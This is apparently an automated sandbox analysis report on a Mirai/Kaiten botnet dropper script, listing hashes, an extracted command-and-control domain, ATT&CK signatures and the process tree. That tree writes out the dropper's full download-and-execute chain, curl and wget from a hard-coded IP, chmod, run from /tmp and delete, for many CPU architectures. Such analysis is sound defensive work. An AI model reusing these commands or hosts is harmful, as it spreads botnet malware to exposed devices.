kaiten | 160156a3724a9aa6374110e056db16b9323d76ca22bdeb6f028786346a48396c

Analysis

max time kernel
148s
max time network
152s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
31/03/2025, 14:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bash.sh
Size 3KB
Sample250331-rvx1hstry3
SHA256 160156a3724a9aa6374110e056db16b9323d76ca22bdeb6f028786346a48396c
MD5 a41cde87771e23498a767fb996e69ff5
SHA1 494b85e0b009488223573697aeceb2292de9cf3f
SHA512 674163511e0b99a46a79bce880b367f6ba0495575e5e5d95b2ba1062395f46614b6e35b8473e8b55c244ac2a57943085b76070fa9377d920614d55cb47a856f9
MD5 SHA1 SHA512

Score

10^/10

kaiten mirai owari antivm botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

OWARI

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

Extracted

Family

mirai

Botnet

OWARI

Extracted

Family

mirai

Botnet

OWARI

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

newageofkifirempire.camdvr.org

Signatures

Detects Kaiten/Tsunami Payload 10 IoCs

resource	yara_rule
behavioral2/files/fstream-1.dat	family_kaiten2
behavioral2/files/fstream-2.dat	family_kaiten2
behavioral2/files/fstream-3.dat	family_kaiten2
behavioral2/files/fstream-4.dat	family_kaiten2
behavioral2/files/fstream-5.dat	family_kaiten2
behavioral2/files/fstream-6.dat	family_kaiten2
behavioral2/files/fstream-7.dat	family_kaiten2
behavioral2/files/fstream-8.dat	family_kaiten2
behavioral2/files/fstream-9.dat	family_kaiten2
behavioral2/files/fstream-11.dat	family_kaiten2

Detects Kaiten/Tsunami payload 10 IoCs

resource	yara_rule
behavioral2/files/fstream-1.dat	family_kaiten
behavioral2/files/fstream-2.dat	family_kaiten
behavioral2/files/fstream-3.dat	family_kaiten
behavioral2/files/fstream-4.dat	family_kaiten
behavioral2/files/fstream-5.dat	family_kaiten
behavioral2/files/fstream-6.dat	family_kaiten
behavioral2/files/fstream-7.dat	family_kaiten
behavioral2/files/fstream-8.dat	family_kaiten
behavioral2/files/fstream-9.dat	family_kaiten
behavioral2/files/fstream-11.dat	family_kaiten

Kaiten family
kaiten
Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten
Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 24 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
687	chmod
699	chmod
718	chmod
731	chmod
781	chmod
788	chmod
795	chmod
809	chmod
745	chmod
762	chmod
825	chmod
858	chmod
864	chmod
870	chmod
885	chmod
908	chmod
705	chmod
878	chmod
901	chmod
915	chmod
931	chmod
841	chmod
892	chmod
924	chmod

Executes dropped EXE 24 IoCs

ioc	pid	Process
/tmp/sshd	688	bash.sh
/tmp/openssh	700	bash.sh
/tmp/n	706	bash.sh
/tmp/tftp	719	bash.sh
/tmp/wget	733	bash.sh
/tmp/cron	749	bash.sh
/tmp/ftp	764	bash.sh
/tmp/pftp	782	bash.sh
/tmp/sh	789	bash.sh
/tmp/	797	bash.sh
/tmp/apache2	811	bash.sh
/tmp/telnetd	826	bash.sh
/tmp/GoldAge3ATOarm	843	bash.sh
/tmp/GoldAge3ATOarm6	859	bash.sh
/tmp/GoldAge3ATOarm5	865	bash.sh
/tmp/GoldAge3ATOarm7	871	bash.sh
/tmp/GoldAge3ATOm68k	879	bash.sh
/tmp/GoldAge3ATOmips	886	bash.sh
/tmp/GoldAge3ATOmpsl	893	bash.sh
/tmp/GoldAge3ATOppc	902	bash.sh
/tmp/GoldAge3ATOsh4	909	bash.sh
/tmp/GoldAge3ATOspc	916	bash.sh
/tmp/GoldAge3ATOx64	925	bash.sh
/tmp/GoldAge3ATOx86	932	bash.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	GoldAge3ATOarm
File opened for modification	/dev/misc/watchdog	GoldAge3ATOarm

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	GoldAge3ATOarm

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	bbbahsbsbsahhsbaab	843	GoldAge3ATOarm
Changes the process name, possibly in an attempt to hide itself	sabssaabbabhhshbhb	871	GoldAge3ATOarm7

Checks CPU configuration 1 TTPs 24 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	GoldAge3ATOarm

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/657/exe	GoldAge3ATOarm
File opened for reading	/proc/507/fd	GoldAge3ATOarm
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/453/exe	GoldAge3ATOarm
File opened for reading	/proc/659/exe	GoldAge3ATOarm
File opened for reading	/proc/230/fd	GoldAge3ATOarm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/615/exe	GoldAge3ATOarm
File opened for reading	/proc/658/exe	GoldAge3ATOarm
File opened for reading	/proc/849/exe	GoldAge3ATOarm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/848/exe	GoldAge3ATOarm
File opened for reading	/proc/319/fd	GoldAge3ATOarm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/844/exe	GoldAge3ATOarm
File opened for reading	/proc/506/exe	GoldAge3ATOarm
File opened for reading	/proc/286/fd	GoldAge3ATOarm
File opened for reading	/proc/328/fd	GoldAge3ATOarm
File opened for reading	/proc/846/fd	GoldAge3ATOarm
File opened for reading	/proc/848/fd	GoldAge3ATOarm
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/507/exe	GoldAge3ATOarm
File opened for reading	/proc/721/exe	GoldAge3ATOarm
File opened for reading	/proc/506/fd	GoldAge3ATOarm
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/288/fd	GoldAge3ATOarm
File opened for reading	/proc/315/fd	GoldAge3ATOarm
File opened for reading	/proc/327/fd	GoldAge3ATOarm
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/844/fd	GoldAge3ATOarm
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/167/fd	GoldAge3ATOarm
File opened for reading	/proc/285/fd	GoldAge3ATOarm
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/812/exe	GoldAge3ATOarm
File opened for reading	/proc/615/fd	GoldAge3ATOarm
File opened for reading	/proc/663/exe	GoldAge3ATOarm
File opened for reading	/proc/139/fd	GoldAge3ATOarm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
889	rm
883	wget
884	curl
886	GoldAge3ATOmips
888	rm

Writes file to tmp directory 47 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/GoldAge3ATOspc	wget
File opened for modification	/tmp/GoldAge3ATOx64	curl
File opened for modification	/tmp/ftp.1	wget
File opened for modification	/tmp/pftp	curl
File opened for modification	/tmp/GoldAge3ATOarm	wget
File opened for modification	/tmp/GoldAge3ATOarm6	wget
File opened for modification	/tmp/GoldAge3ATOarm5	curl
File opened for modification	/tmp/GoldAge3ATOppc	curl
File opened for modification	/tmp/sshd	curl
File opened for modification	/tmp/GoldAge3ATOm68k	wget
File opened for modification	/tmp/GoldAge3ATOm68k	curl
File opened for modification	/tmp/GoldAge3ATOmpsl	wget
File opened for modification	/tmp/GoldAge3ATOppc	wget
File opened for modification	/tmp/apache2.1	wget
File opened for modification	/tmp/GoldAge3ATOarm5	wget
File opened for modification	/tmp/cron	curl
File opened for modification	/tmp/sh	curl
File opened for modification	/tmp/	curl
File opened for modification	/tmp/n.1	wget
File opened for modification	/tmp/GoldAge3ATOmips	wget
File opened for modification	/tmp/GoldAge3ATOmips	curl
File opened for modification	/tmp/GoldAge3ATOx64	wget
File opened for modification	/tmp/GoldAge3ATOx86	wget
File opened for modification	/tmp/sshd.1	wget
File opened for modification	/tmp/sh.1	wget
File opened for modification	/tmp/GoldAge3ATOarm6	curl
File opened for modification	/tmp/GoldAge3ATOspc	curl
File opened for modification	/tmp/GoldAge3ATOx86	curl
File opened for modification	/tmp/tftp	curl
File opened for modification	/tmp/wget.1	wget
File opened for modification	/tmp/GoldAge3ATOarm	curl
File opened for modification	/tmp/GoldAge3ATOmpsl	curl
File opened for modification	/tmp/GoldAge3ATOsh4	curl
File opened for modification	/tmp/telnetd	curl
File opened for modification	/tmp/n	curl
File opened for modification	/tmp/tftp.1	wget
File opened for modification	/tmp/cron.1	wget
File opened for modification	/tmp/ .1	wget
File opened for modification	/tmp/apache2	curl
File opened for modification	/tmp/GoldAge3ATOarm7	wget
File opened for modification	/tmp/GoldAge3ATOarm7	curl
File opened for modification	/tmp/openssh	curl
File opened for modification	/tmp/openssh.1	wget
File opened for modification	/tmp/wget	curl
File opened for modification	/tmp/ftp	curl
File opened for modification	/tmp/pftp.1	wget
File opened for modification	/tmp/GoldAge3ATOsh4	wget

/tmp/bash.sh
/tmp/bash.sh
1⤵
- Executes dropped EXE
PID:660
- /usr/bin/curl
  curl -O http://141.98.10.122/sshd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:668
- /usr/bin/wget
  wget http://141.98.10.122/sshd
  2⤵
  - Writes file to tmp directory
  PID:681
- /bin/chmod
  chmod +x sshd
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/sshd
  ./sshd
  2⤵
  PID:688
- /bin/rm
  rm -rf sshd
  2⤵
  PID:691
- /usr/bin/curl
  curl -O http://141.98.10.122/openssh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:692
- /usr/bin/wget
  wget http://141.98.10.122/openssh
  2⤵
  - Writes file to tmp directory
  PID:697
- /bin/chmod
  chmod +x openssh
  2⤵
  - File and Directory Permissions Modification
  PID:699
- /tmp/openssh
  ./openssh
  2⤵
  PID:700
- /bin/rm
  rm -rf openssh
  2⤵
  PID:702
- /usr/bin/curl
  curl -O http://141.98.10.122/n
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:703
- /usr/bin/wget
  wget http://141.98.10.122/n
  2⤵
  - Writes file to tmp directory
  PID:704
- /bin/chmod
  chmod +x n
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /tmp/n
  ./n
  2⤵
  PID:706
- /bin/rm
  rm -rf n
  2⤵
  PID:708
- /usr/bin/curl
  curl -O http://141.98.10.122/tftp
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:709
- /usr/bin/wget
  wget http://141.98.10.122/tftp
  2⤵
  - Writes file to tmp directory
  PID:712
- /bin/chmod
  chmod +x tftp
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /tmp/tftp
  ./tftp
  2⤵
  PID:719
- /bin/rm
  rm -rf tftp
  2⤵
  PID:722
- /usr/bin/curl
  curl -O http://141.98.10.122/wget
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:723
- /usr/bin/wget
  wget http://141.98.10.122/wget
  2⤵
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod +x wget
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/wget
  ./wget
  2⤵
  PID:733
- /bin/rm
  rm -rf wget
  2⤵
  PID:735
- /usr/bin/curl
  curl -O http://141.98.10.122/cron
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /usr/bin/wget
  wget http://141.98.10.122/cron
  2⤵
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod +x cron
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/cron
  ./cron
  2⤵
  PID:749
- /bin/rm
  rm -rf cron
  2⤵
  PID:751
- /usr/bin/curl
  curl -O http://141.98.10.122/ftp
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /usr/bin/wget
  wget http://141.98.10.122/ftp
  2⤵
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod +x ftp
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/ftp
  ./ftp
  2⤵
  PID:764
- /bin/rm
  rm -rf ftp
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://141.98.10.122/pftp
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /usr/bin/wget
  wget http://141.98.10.122/pftp
  2⤵
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod +x pftp
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/pftp
  ./pftp
  2⤵
  PID:782
- /bin/rm
  rm -rf pftp
  2⤵
  PID:784
- /usr/bin/curl
  curl -O http://141.98.10.122/sh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /usr/bin/wget
  wget http://141.98.10.122/sh
  2⤵
  - Writes file to tmp directory
  PID:787
- /bin/chmod
  chmod +x sh
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/sh
  ./sh
  2⤵
  PID:789
- /bin/rm
  rm -rf sh
  2⤵
  PID:791
- /usr/bin/curl
  curl -O "http://141.98.10.122/ "
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /usr/bin/wget
  wget "http://141.98.10.122/ "
  2⤵
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod +x " "
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/
  "./ "
  2⤵
  PID:797
- /bin/rm
  rm -rf " "
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://141.98.10.122/apache2
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:800
- /usr/bin/wget
  wget http://141.98.10.122/apache2
  2⤵
  - Writes file to tmp directory
  PID:805
- /bin/chmod
  chmod +x apache2
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/apache2
  ./apache2
  2⤵
  PID:811
- /bin/rm
  rm -rf apache2
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://141.98.10.122/telnetd
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:815
- /usr/bin/wget
  wget http://141.98.10.122/telnetd
  2⤵
  PID:822
- /bin/chmod
  chmod +x telnetd
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/telnetd
  ./telnetd
  2⤵
  PID:826
- /bin/rm
  rm -rf telnetd
  2⤵
  PID:828
- /usr/bin/wget
  wget 141.98.10.122/GoldAge3ATOarm
  2⤵
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O 141.98.10.122/GoldAge3ATOarm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/chmod
  chmod 777 GoldAge3ATOarm
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/GoldAge3ATOarm
  ./GoldAge3ATOarm arn
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:843
- /bin/rm
  rm -rf GoldAge3ATOarm
  2⤵
  PID:847
- /bin/rm
  rm -rf GoldAge3ATOarm.1
  2⤵
  PID:850
- /usr/bin/wget
  wget 141.98.10.122/GoldAge3ATOarm6
  2⤵
  - Writes file to tmp directory
  PID:852
- /usr/bin/curl
  curl -O 141.98.10.122/GoldAge3ATOarm6
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:856
- /bin/chmod
  chmod 777 GoldAge3ATOarm6
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/GoldAge3ATOarm6
  ./GoldAge3ATOarm6 arn6
  2⤵
  PID:859
- /bin/rm
  rm -rf GoldAge3ATOarm6
  2⤵
  PID:860
- /bin/rm
  rm -rf GoldAge3ATOarm6.1
  2⤵
  PID:861
- /usr/bin/wget
  wget 141.98.10.122/GoldAge3ATOarm5
  2⤵
  - Writes file to tmp directory
  PID:862
- /usr/bin/curl
  curl -O 141.98.10.122/GoldAge3ATOarm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/chmod
  chmod 777 GoldAge3ATOarm5
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/GoldAge3ATOarm5
  ./GoldAge3ATOarm5 arn5
  2⤵
  PID:865
- /bin/rm
  rm -rf GoldAge3ATOarm5
  2⤵
  PID:866
- /bin/rm
  rm -rf GoldAge3ATOarm5.1
  2⤵
  PID:867
- /usr/bin/wget
  wget 141.98.10.122/GoldAge3ATOarm7
  2⤵
  - Writes file to tmp directory
  PID:868
- /usr/bin/curl
  curl -O 141.98.10.122/GoldAge3ATOarm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/chmod
  chmod 777 GoldAge3ATOarm7
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/GoldAge3ATOarm7
  ./GoldAge3ATOarm7 arn7
  2⤵
  - Changes its process name
  PID:871
- /bin/rm
  rm -rf GoldAge3ATOarm7
  2⤵
  PID:872
- /bin/rm
  rm -rf GoldAge3ATOarm7.1
  2⤵
  PID:873
- /usr/bin/wget
  wget 141.98.10.122/GoldAge3ATOm68k
  2⤵
  - Writes file to tmp directory
  PID:874
- /usr/bin/curl
  curl -O 141.98.10.122/GoldAge3ATOm68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/chmod
  chmod 777 GoldAge3ATOm68k
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/GoldAge3ATOm68k
  ./GoldAge3ATOm68k m68k
  2⤵
  PID:879
- /bin/rm
  rm -rf GoldAge3ATOm68k
  2⤵
  PID:881
- /bin/rm
  rm -rf GoldAge3ATOm68k.1
  2⤵
  PID:882
- /usr/bin/wget
  wget 141.98.10.122/GoldAge3ATOmips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:883
- /usr/bin/curl
  curl -O 141.98.10.122/GoldAge3ATOmips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:884
- /bin/chmod
  chmod 777 GoldAge3ATOmips
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/GoldAge3ATOmips
  ./GoldAge3ATOmips mips
  2⤵
  - System Network Configuration Discovery
  PID:886
- /bin/rm
  rm -rf GoldAge3ATOmips
  2⤵
  - System Network Configuration Discovery
  PID:888
- /bin/rm
  rm -rf GoldAge3ATOmips.1
  2⤵
  - System Network Configuration Discovery
  PID:889
- /usr/bin/wget
  wget 141.98.10.122/GoldAge3ATOmpsl
  2⤵
  - Writes file to tmp directory
  PID:890
- /usr/bin/curl
  curl -O 141.98.10.122/GoldAge3ATOmpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/chmod
  chmod 777 GoldAge3ATOmpsl
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/GoldAge3ATOmpsl
  ./GoldAge3ATOmpsl mpsl
  2⤵
  PID:893
- /bin/rm
  rm -rf GoldAge3ATOmpsl
  2⤵
  PID:895
- /bin/rm
  rm -rf GoldAge3ATOmpsl.1
  2⤵
  PID:896
- /usr/bin/wget
  wget 141.98.10.122/GoldAge3ATOppc
  2⤵
  - Writes file to tmp directory
  PID:897
- /usr/bin/curl
  curl -O 141.98.10.122/GoldAge3ATOppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:898
- /bin/chmod
  chmod 777 GoldAge3ATOppc
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/GoldAge3ATOppc
  ./GoldAge3ATOppc ppc
  2⤵
  PID:902
- /bin/rm
  rm -rf GoldAge3ATOppc
  2⤵
  PID:904
- /bin/rm
  rm -rf GoldAge3ATOppc.1
  2⤵
  PID:905
- /usr/bin/wget
  wget 141.98.10.122/GoldAge3ATOsh4
  2⤵
  - Writes file to tmp directory
  PID:906
- /usr/bin/curl
  curl -O 141.98.10.122/GoldAge3ATOsh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/chmod
  chmod 777 GoldAge3ATOsh4
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/GoldAge3ATOsh4
  ./GoldAge3ATOsh4 sh4
  2⤵
  PID:909
- /bin/rm
  rm -rf GoldAge3ATOsh4
  2⤵
  PID:911
- /bin/rm
  rm -rf GoldAge3ATOsh4.1
  2⤵
  PID:912
- /usr/bin/wget
  wget 141.98.10.122/GoldAge3ATOspc
  2⤵
  - Writes file to tmp directory
  PID:913
- /usr/bin/curl
  curl -O 141.98.10.122/GoldAge3ATOspc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/chmod
  chmod 777 GoldAge3ATOspc
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/GoldAge3ATOspc
  ./GoldAge3ATOspc spc
  2⤵
  PID:916
- /bin/rm
  rm -rf GoldAge3ATOspc
  2⤵
  PID:919
- /bin/rm
  rm -rf GoldAge3ATOspc.1
  2⤵
  PID:921
- /usr/bin/wget
  wget 141.98.10.122/GoldAge3ATOx64
  2⤵
  - Writes file to tmp directory
  PID:922
- /usr/bin/curl
  curl -O 141.98.10.122/GoldAge3ATOx64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/chmod
  chmod 777 GoldAge3ATOx64
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/GoldAge3ATOx64
  ./GoldAge3ATOx64 x64
  2⤵
  PID:925
- /bin/rm
  rm -rf GoldAge3ATOx64
  2⤵
  PID:927
- /bin/rm
  rm -rf GoldAge3ATOx64.1
  2⤵
  PID:928
- /usr/bin/wget
  wget 141.98.10.122/GoldAge3ATOx86
  2⤵
  - Writes file to tmp directory
  PID:929
- /usr/bin/curl
  curl -O 141.98.10.122/GoldAge3ATOx86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/chmod
  chmod 777 GoldAge3ATOx86
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/GoldAge3ATOx86
  ./GoldAge3ATOx86 x86
  2⤵
  PID:932
- /bin/rm
  rm -rf GoldAge3ATOx86
  2⤵
  PID:934
- /bin/rm
  rm -rf GoldAge3ATOx86.1
  2⤵
  PID:935

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/
Size 15B
SHA256 19b843cc92cb12aa314bb3c3913b2feeb852e85969bf06cb9d096931bfda34ba
MD5 6196dba52703776af2e6593f772ed7ce
SHA1 fd78bb053b4bd423260212d1fe5bd7bc7750efce
SHA512 4f43c449c45e5513e29f62611e6feb9cf8aac70fab566f73a5ccad1fff7d20de6a6920914a73b0952a151bf96c32a8a521ec34206eda9d27fabcaad16410ed06
MD5 SHA1 SHA512

Submit Download

GoldAge3ATOarm

Path /tmp/GoldAge3ATOarm
Size 42KB
SHA256 f4aaffa4c2dd047542f38e60afa96554cff53c6083aefbeae49c2f2ccc183608
MD5 b58316c521f8621ace5b4a883ae495a1
SHA1 71e2344a723a0066ae1fe80d26b63f71d85fe6d1
SHA512 c7181cd78fc97e0158d9ccf01c8bd7c65776eb344c3828cecd71eb92e8ef0ef84e50f018a8d154015baf3a3ec7b7404a5d9f5678d5a3b782ca190fb88a8afeae
SSDEEP 768:B40pznQBlwLGejOlMstfyWtzeQKjVwdURFvvMxEaAA+PN+6pd3cgw:jpszw6fKjHW7Y5P
MD5 SHA1 SHA512 SSDEEP

Submit Download

GoldAge3ATOarm5

Path /tmp/GoldAge3ATOarm5
Size 34KB
SHA256 80091a5d2912312e797e04bd5eb16290bde71f2f1eda338eb5d7d4788033ab9b
MD5 e47ad4d4cade3a8cafad3db4b22d83d1
SHA1 aa6642c9725f5028ba226e9d02a811d815367847
SHA512 52a0f28d9b8fbfe8c10434a68bdb982978ea8a6c4ece07619e5716b020ca66c9579370ed49f1906a84e0429acef259a83c4a2ad08b7e0ace1fbff1f198edbcc6
SSDEEP 768:Lb3jvwHJgkqAaOaJi6GH4QioVvEeQKmb0eCSq/tSuxhuPN:LrspgJnviPaKmcFlx
MD5 SHA1 SHA512 SSDEEP

Submit Download

GoldAge3ATOarm6

Path /tmp/GoldAge3ATOarm6
Size 53KB
SHA256 127a8f9ef876f72c390896631c14d7b406d127408917f9e395a2931d8a81b955
MD5 4e25a773ef66310a0b4fe7129ba20de4
SHA1 d57058a515beb010a7e96c2ac3ba8fd2b0ebca99
SHA512 df6aea653867d4bf77da88c37dd4b6160247e4e19dd104a94abd155859e47d3cbf6648dbfc1fe9e02eed6cd60496a7c67a3daaeb9f01d8ecb9073d63cc3726d8
SSDEEP 1536:wdngB4P5oMXnIG6doUAN4zLrISiLmi+Q5:3C5tXIGVUKmi+Q5
MD5 SHA1 SHA512 SSDEEP

Submit Download

GoldAge3ATOarm7

Path /tmp/GoldAge3ATOarm7
Size 110KB
SHA256 2f8d5e01c5f945c7414bac1550b7d651fb3e791a68c1f0685037c5727663d66a
MD5 5097ceccb234605597f00ef93ede8751
SHA1 542de5358c6680a9b74f5e63d814b3b8593232b8
SHA512 65c172a3ee5162c9e7a72a5afa070bf89e91e9a8e1e740e3e7b55fe6b2ae81e07505d5bcf3c87e743622e36510a71af4797117e98fd5a7d69edddac999bffad6
SSDEEP 1536:4sng4xcAP0rIK6BYso0KB6s7xUdpK9l5kBiCU9Z9ampabtMNzw/9CL/vx9W:1KAM8KdsWB6s7xUiuU9DamCteM/9CLXy
MD5 SHA1 SHA512 SSDEEP

Submit Download

GoldAge3ATOm68k

Path /tmp/GoldAge3ATOm68k
Size 41KB
